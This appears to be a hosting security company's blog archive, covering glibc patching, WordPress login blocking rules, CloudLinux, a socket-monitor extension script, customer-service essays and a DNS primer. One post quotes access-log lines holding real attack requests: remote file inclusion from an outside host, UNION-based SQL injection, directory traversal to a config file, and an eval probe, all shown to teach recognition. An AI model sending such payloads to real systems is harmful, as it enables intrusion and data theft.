After our vendors released OS patches we patched all servers immediately after. This includes all clients on our bi monthly patching service.

What is glibc?

The glibc library is a core part of the Linux operating system based on the standard C library. This is a critical library and without it Linux will not function.

If you would like to learn about the details of this vulnerability please visit https://community.qualys.com/blogs

On csf and apf firewalls add to the /etc/csf/csfpre.sh or /etc/apf/preroute.rules

#Attack on wordpress:

/sbin/iptables -I INPUT -p tcp –dport 80 -m string –string “Log+In&testcookie=1” –algo kmp -j DROP

Add this to your modsecurity2 rules:

<LocationMatch “/wp-login.php”>
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:313371
SecAction “phase:5,deprecatevar:ip.counter=2/30,pass,nolog,id:313372”
SecRule IP:COUNTER “@gt 1” “phase:2,pause:300,deny,status:406,setenv:RATELIMITED,skip:1,nolog,id:313373”
SecAction “phase:2,pass,setvar:ip.counter=+1,nolog,id:313374”
</LocationMatch>

And if all else fails you can block all wp-login.php in the main apache config :

<Files wp-login.php>
order deny,allow
Deny from all
</Files>

or chmod 000 all wp-login.php files:

For clients wanting to secure their wordpress login edit your .htaccess in your ftp folder and add the below with the ipaddress that need to connect to your wordpress login:

<Files wp-login.php>
deny from all
allow from xxx.xxx.xxx.xxx
</Files>

#note this command is for Hsphere clusters change the path to where your web files are located.

find /hsphere/local/home -type f -name ‘wp-login.php’ -print0 | xargs -0 chmod 000

If you have any further questions please dont hestitate to contact us.

One may ask what does a SoftLayer Certified Partner do?

While SoftLayer has a variety of Certified Partners, Dynamic Net, Inc. is a SoftLayer Certified Partner that specializes in server security and server administration.

Server security includes, but is not limited to hacker clean up, server hardening (securing a server against hackers), security audits, server migrations, disk clean up (i.e. /var partition full), mysql optimization, apache optimization, php optimization, trouble shooting high server cpu utilization, trouble shooting high server load, and much more.

Our U.S.-based, level 3, high skilled skilled staff work with cpanel, Parallels H-Sphere, and Parallels Plesk as well as Linux-based servers not running an automation system.

We do work on a contract basis with a deposit prior to any work being started; and once a client is under contract, can often perform new work on just a phone call or an email.

Most of our customers are small businesses that fall under the radar of what a government calls a small business (i.e. one to ten employees, often far less than a million in annual sales) where money is tight.

While we are far from cheap for our rates, we do bill fairly and can often finish tasks with higher quality and speed than a less skilled party who charges a lot less.

If you have servers with SoftLayer and need security and server administration services, please contact us to go over your needs.

We enjoy working on new projects and with customers building long term relationships.

I lost track of how many times I’ve heard that phrase or variations like it to justify business decisions whether it be employer vs. employee or business vs. customer.

If your focus is building and maintaining relationships, the “vs” should always be a red flag. If your focus is on the dollar, then you might miss the “vs.” part of the equation.

How many of you have heard the phrase, penny wise and dollar foolish?

May I propose to you that if you believe “This is business, not personal” when it comes to any relationship, you are losing more dollars than if you treat every issue as being very personal?

How much longer do relationships survive if you treat each one with loving care? That each decision and action are personal to the recipient; and, their feelings always matter.

What’s the life time value of your customers? Do you want that life blood to be extended for as long as possible? Then consider making it very personal in the right ways.

What are your thoughts? Please share them in the comment area below.

The next time I get a phone call to go over hacker clean up, server hardening, server administration where the prospective customer is more concerned over the $100.00 per hour rate than the problem costing them customers and potentially their business, I hope remember to share with them this article.

Imagine reading Service Suspension – Ongoing unanswered abuse complaints thinking to yourself, the person is in a jamb…. I hope they get someone who can really help them (maybe we could, not sure), then later on reading the person who initiated the post also runs a “All you can Eat” (i.e. unlimited support tickets, unlimited labor time) server administration business where they advertise a long list of what they can do for you for just $15.00 per month. I guess, they are so packed with work they could not solve their own problems.

Imagine, for just $15.00 per month you “24/7/365 USA-Based Technical Support” plus “24/7/365 Server Monitoring (5 Minute Intervals)” of your servers plus “Guaranteed 15 Minute Response On Monitoring Alerts” and so much more… sounds like a great deal? Right?

Now, I’m sure if you did a study of people who have heard and even believe in the quote, “you get what you pay for,” or variations of it, the percentage would be high.

Yet, how many actually do their homework to determine if something is really to good to be true?

For example, would you know right away that $15.00 per month for 24×7 coverage 365 days per year with a guaranteed response time of 15-minutes and unlimited administrator work (i.e. unlimited hours of work per month) was a deal too good to be true?

What if they removed the word, “unlimited,” and only included one hour per month? Would it then be more realistic?

In order to answer that question, what’s the going hourly rate for a server administrator? For a security administrator?

In the United States, for a server administrator, the going hourly rate ranges from $30.00 per hour to $52.00 per hour; for security administrators, the hourly rate ranges from $38.00 per hour to $56.00 per hour. In both cases, that doesn’t include benefits.

If a company is saying you get just even one hour for $15.00 when the going rate for an experienced party is $30.00 to $38.00 at a minimum….. get the picture?

You might get marketing speak that the employees multi-task and can work on many tasks at the same time… but isn’t that like someone who worked 2,000 real hours putting down 6,000 billable hours?

What are your thoughts on this subject? Did you purchase time thinking the rate was good or even average only to find out you were taken in by a “too good to be true” event? Let us know your thoughts below.

if you could imagine a refrigerator whose contents were a complete mess or even a room that was an organizational disaster, then open the door, throw in a magic ball of yarn, close the door, and then open the door again… only to be amazed about how well everything is organized and clutter free, you would get a visual of the what CloudLinux allows you to do on the server level.

If you’ve read previous articles I’ve written, you may get the hint I like dancing, and dancing like concepts such as when I wrote a two part series dealing with The Security Dance (part 1), and Taking Charge of the Security Dance (part 2).

CloudLinux is the same as you have two primary dance partners — visitors to Web sites hosted on servers running CloudLinux, and the hosting provider making use of CloudLinux.

Hosting providers who set up and use CloudLinux, when push comes to shove, have two choices for how they will use CloudLinux as part of their hosting infrastructure:

1. As a means to provide an extremely stable and reliable environment where CloudLinux will only trigger if there is outright malicious abuse.
2. As a means to cram as many web sites onto the server to achieve what is called in the industry, site / server density, as possible. In this area, CloudLinux can increase the capacity of a server anywhere from two to ten fold.

The visitor perspective on these two choices come down to what I’ll refer to as “light handed throttling” where the touch is so light real visitors with zero malicious intent will not know the server is being monitored in real time; and, “heavy handed throttling” where visitors may see growing delays in browsing through pages, be told the site is under maintenance (when it is not), or get a variety of errors ranging from time outs to internal server errors 403 and 500.

I’ve written about the impact of heavy handed throttling in an article titled, Does cheap web hosting lead to lost revenue?

Yet, just as CloudLinux can be used by cheap hosting providers to focus on continuing to be cheap, CloudLinux can also be used by value hosting providers to increase the stability of their environment.

Picture a small business steward who wants to learn rock climbing in an area known for dangerous birds to swoop in and potentially startle the new climber causing them to fall. Now imagine an environment where they still have the ambiance and yet no worries as such malicious activity is kept at bay.

That’s the focus we take with utilizing CloudLinux on our fully managed shared hosting servers. Light handed throttling that valid visitors never see, feel, or sense; and only coming out when a malicious bird would want to swoop in to cause someone to fall or stumble.

As a visitor to Web sites which would you prefer? The hosting provider who is using heavy handed throttling so they can cram as many sites onto a server as possible so they can justify very low prices? Or the high value provider who always wants the visitor to have a fast, reliable experience? Let us know in the comments below.

Please contact us if you have an interest in either using CloudLinux on servers you host through SoftLayer or other data centers, or about becoming one of our satisfied small to medium business customers.

That’s right, everyone is a potential target — not just the big names, not just the rich companies, etc.

Now, web-based hack attempts come in many forms ranging from brute force to SQL injections.

Here’s a list of the common types including links to their definitions:

• Brute Force Attack
• Cross Site Scripting Attack
• Directory Traversal Attack
• Local file inclusion
• Remote file inclusion
• SQL Injection attack

I would like to share with you what each of the above types looks like from a log file or security report perspective.

The following comes from our proactive security monitoring service as well the reports we receive from our global security service.

I’m going to start off with the most common type we see which is remote file inclusion:

184.107.145.18 - - [06/Sep/2012:01:13:27 -0400] "GET /packages//wp-content/themes/metamorphosis/functions/thumb.php?src=http://www.blogger.com.moulinsaeau-41.org/cache.php HTTP/1.1" 404 3612 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2)

The above is timthumb attack where the attacker believes the Metamorphosis theme for WordPress if vulnerable; and they are trying to include the code from http://www.blogger.com.moulinsaeau-41.org/cache.php through the potential vulnerability.

The next type is an SQL injection attack:

84.235.73.226 - - [09/Sep/2012:01:16:03 +0100] "GET /merchandise.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(table_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.tables%20Where%20table_schema=0x6A6F686E73746F6E5F6965%20limit%200,1),2,3,4,5-- HTTP/1.1" 500 3506 "-" "-" UEvfw1Qz7pgAAGfUdE0 "-"

The next is a directory traversal attack:

195.157.13.221 - - [05/Sep/2012:21:28:20 +0100] "GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1" 500 3506 "-" "-" UEe15FQz7pAAABD2KuM "-"

What follows is an example of a local file inclusion:

190.90.209.251 - - [05/Sep/2012:18:13:46 +0100] "GET /phpMyAdmin//config/config.inc.php?eval=echo%20md5(123); HTTP/1.1" 500 3506 "-" "-" UEeISlWFNc8AABl2Nvw "-"

Below are two examples of brute force — one for SSH, the other for email:

sshd[21192]: Invalid user deploy from 64.185.229.239
vpopmail[7134]: vchkpw-pop3: vpopmail user not found webmaster@:88.43.116.246

Do you review your hosting log files on a regular basis to see what attacks are getting through or being blocked?

Is your provider doing this for you?

Please let us know your questions and thoughts in the comments below.

I really appreciate being on both ends of giving and receiving as each encounter is an opportunity to learn, to adapt, to change, and to improve.

Part of that picture is hearing and seeing something you know makes sense and is true, and then growing into it (i.e. I know, I know… but don’t do… then ah ha… put it in action, silly).

One of the customer service 101 lessons involves being technically correct, but presenting the situation in a way that devalues the relationship.

In every relationship, you have choices. You can chose to always be right (i.e. technically correct), or you can choose to be in a relationship. If you value long term relationships like me, you will do your best to focus on the relationship rather than who is right and how often.

Every encounter you have with your customers, your employees, your partners is an opportunity for you to establish (or re-establish) relationship values or diminish them. The more they are diminished, the more likely the relationship will end.

Let me give you two examples. First is on the giving end, the second on the receiving end.

A customer puts in a support ticket about Spam Assassin incorrectly tagging valid email as being suspected as spam. In the email, the customer also complains about higher than normal real spam getting through.

A technically correct response might go into explaining Spam Assassins scoring mechanism, about white listing and how white listing only lowers the chance about tagging, etc. as well as just telling the customer to forward the actual spam that got through to the anti-spam appliance engineers.

A customer relationship response is to call the customer on the phone to go over the Spam Assassin settings, ask if it is ok to outright disable Spam Assassin (duplication of anti-spam — and in the particular case only tagging incorrectly), as well as go over the differences between the anti-spam appliance and Spam Assassin, the benefit of training the system. Plus empathizing with the customer for the spam that does get through by both disliking spam as well as sharing no system is perfect including our own anti-spam system.

The phone call also allowed a check in on an upcoming trip the client is looking forward to taking along with making sure the customer understands how much they are valued as a customer.

On the receiving end, I tend to perform backups more than the average person knowing the value of having a recent backup over an old backup or no backup at all. Some of the backups I take cover plan B and plan C for data recovery (do you have multiple plans for recover in case your primary plan doesn’t work as intended?).

One of the backup methods started failing, and I opened a ticket with the data center whose private network I was using to do the backup to see if they could help.

All of the initial responses were technically correct. Yet, all of them ended with, if you don’t respond within four days, the ticket will close. The problem still existed. I persisted and literally asked for a hero to step up to the plate (I’m sharing this because my personal feelings is that not all customers will be patient and ask for a hero when there appears to be no hero; they may just move on). The partner did step it up several notches, and moved from being technically correct to providing alternatives, in depth responses as well as viable alternatives and a phone call.

They were also open to passing along to the entire team about the differences between being right (technically correct) and being right plus promoting the relationship.

Please consider the following thoughts:

• You are in various relationships between family, friends, work, et al.
• Those relationships do matter.
• Does it matter who is right how often or does it matter more to have a long lasting relationship?
• As you respond to parties in your relationship is your focus about keeping and improving the relationship because the other party matters?
• What can you do daily to step up to the plate and be a hero?

What are your thoughts? Please share in the comments below.

The caveat we’ve experienced over the years is that when you receive an LSM alert that might involve malicious malware or hacker activity on the server running LSM, you sometimes have milliseconds to log onto the server to hopefully catch the application opening sockets red handed.

I often agree necessity is the mother of invention, and I would like to share what we’ve done to extend the Linux Socket Monitor (LSM) to provide running process information, not just the netstat lines.

The extension requires modifying three files in /usr/local/lsm – I do suggest you backup all three files:

• /usr/local/lsm/conf.lsm
• /usr/local/lsm/lsm
• /usr/local/lsm/status.lsm

For /usr/local/lsm/conf.lsm we are going to be adding four (4) lines:

PORTS="$INSPATH/dat/ports.list"
PIDS="$INSPATH/dat/pids.list"
DIFF_NET_FILE="$INSPATH/dat/diff_net.list"
PID_PROC_INFO="$INSPATH/dat/pid_proc.info"

For /usr/local/lsm/status.lsm the following needs to be added after the code

cat <$DIFF_NET
EOF

cat <

Finally, in /usr/local/lsm/lsm add the following after the following two lines:

echo "changes found in internet server sockets"

ALERT="true"

tmpf $PIDS
tmpf $PORTS
tmpf $DIFF_NET_FILE
tmpf $PID_PROC_INFO

echo $DIFF_NET > $DIFF_NET_FILE

grep -Po ">.*?\:(\d+)" $DIFF_NET_FILE  |awk -F":" '{print $2}' > $PORTS
for port in `cat $PORTS`; do
         netstat -anp | grep :$port | awk  '{print $7}' | awk -F\/ '{print $1}' >> $PIDS
done

for pid in `cat $PIDS`; do
    echo "========= START =========" >> $PID_PROC_INFO
    echo "lsof -p $pid"  >> $PID_PROC_INFO
    lsof -p $pid >> $PID_PROC_INFO
    echo "Information from /proc/$pid" >> $PID_PROC_INFO
    cat /proc/$pid/cmdline >> $PID_PROC_INFO
    cat /proc/$pid/environ >> $PID_PROC_INFO
    ls /proc/$pid/exe >> $PID_PROC_INFO
    cat /proc/$pid/status >> $PID_PROC_INFO
    ls -lab /proc/$pid/fd >> $PID_PROC_INFO
    echo "--------- END ---------" >> $PID_PROC_INFO
done

Special thanks to pdreissen in the Parallels H-Sphere forum for assistance with the grep and awk command to parse $DIFF_NET ports.

If this was your server, and you are the security administrator, what other information would you add?

Share your thoughts in the comments below.

Even though it is more and more common for all of us to use a GPS in our car or even hiking, we often forget that when we send an email, DNS is the GPS system that determines where the email goes to be delivered; and, that when we browse a web site (directly or via a search engine), DNS is the GPS system that tells your ISP where to find the physical server(s) involved in serving the site.

Why does this matter?

Well, if you’ve ever used a GPS device that took you to the wrong destination or otherwise could not find the destination from your location, then you have a frame of reference for what I’m about to write.

DNS, like GPS Systems, can be broken or otherwise faulty. Just like a GPS device, it might work great most of the time, but then sporadic at other times.

Before I write much further, some housekeeping:

When a person registers a domain name, part of the domain name registration process is to list one to several DNS servers.

Did you notice the word, “servers” above? DNS is handled by servers; and the DNS hosting provider of those servers might be the company with whom the party registered the domain name, or it could be their web hosting provider, or it could be yet another provider.

While more than one DNS server can be listed, one of the common myths on the Internet is that the first DNS server listed is “the primary,” the second one listed is “the secondary,” and so on giving the extremely false impression that “the primary” DNS sever is always used unless it fails, then the secondary will be used.

Whenever you browse a web site, send an email, behind the scenes there’s a math formula going on as to which of the DNS services listed for a domain name will be used. Then if the one picked (and it might be the secondary or tertiary) fails, after x amount of time, it will try another one (not necessarily in order).

If you have a bad DNS provider, then it doesn’t matter how wonderful your hosting provider is at serving your site or your email provider at sending and receiving email… visitors will not be able to get to the site, email will be delayed or bounce; and if the DNS provider did not secure their servers, then traffic that should be going to your site may be redirected to malicious sites.

Now, how do you know if the DNS servers of a given domain name (the latter part of the @ in an email address) are working and secure?

The following is partial list of sites provide free DNS Reports:

• http://intodns.com/
• http://www.dnssniffer.com/
• http://www.checkdns.net/quickcheckdomainf.aspx
• http://thednsreport.com/
• http://www.dnscolos.com/free-dns-report.html

Common errors you may see on a DNS report are as follows:

• The MX (mail exchange) records (which are used to determine where to send incoming email) do not have a reverse DNS entry.
• The DNS server allows for recursive queries which means the DNS server is insecure.
• One or more DNS servers did not respond; this probably means the server or service is down.
• One or more DNS servers have mismatched entries; this means not all DNS severs have the same information for the domain name.
• One or more DNS servers are lame; typically this means the lame servers know nothing of the domain name in question.
• There’s a mismatch between the parent (domain name registrar) and the name servers as far as what name servers are listed for the domain name at the DNS server level.

Let’s go over the impact of the most common DNS errors:

1. All MX records (incoming email) and mail server records (outgoing and potentially incoming email) need to have a reverse DNS entry; reverse DNS is where you can see that 174.36.196.4 points back to dynamicnet.net just as dynamicnet.net points to 174.36.196.4. A failure to have a reverse DNS entry for any record dealing with email means email rejection. If you don’t want your email treated like spam 100% of the time, make sure there is a reverse DNS entry set up for all mail DNS records.
2. If the DNS servers for a domain name are insecure, then that means traffic can be redirected. If this is your site, that means email that should go to you might be hijacked away to another party; visitors to your web site might unknowingly be hijacked to other destinations.
3. If a DNS server is down, and that is the server picked for queries… then you may see email delays, visitors who give up waiting (it does take time for the fail over to another working DNS server to take place), etc.
4. Lame servers can be worse than down DNS servers…. answering they don’t know anything about the domain.
5. Mismatch between DNS servers can be extremely common as this does happen when a (hopefully authorized) party makes changes to the DNS entries for a domain name; but should not exist past for longer than 60 to 120 minutes. If only one name server has the most up to date information, then when the other name servers are queried, over time you see extremely sporadic results.

There’s a lot more about DNS that what I’ve written above, including, but not limited to discussing local vs. public DNS. The main take away’s I hope you leave with after reading this article is that you know what is DNS on the layperson level; and that you understand that whenever a domain name is involved (email, web site, mobile, etc.), you also realize there is a DNS hosting provider hopefully taking care of the DNS services for the domain name.

Please feel free to comment below if you have questions about DNS or want to share your own experiences in trouble shooting DNS issues.

Thank you.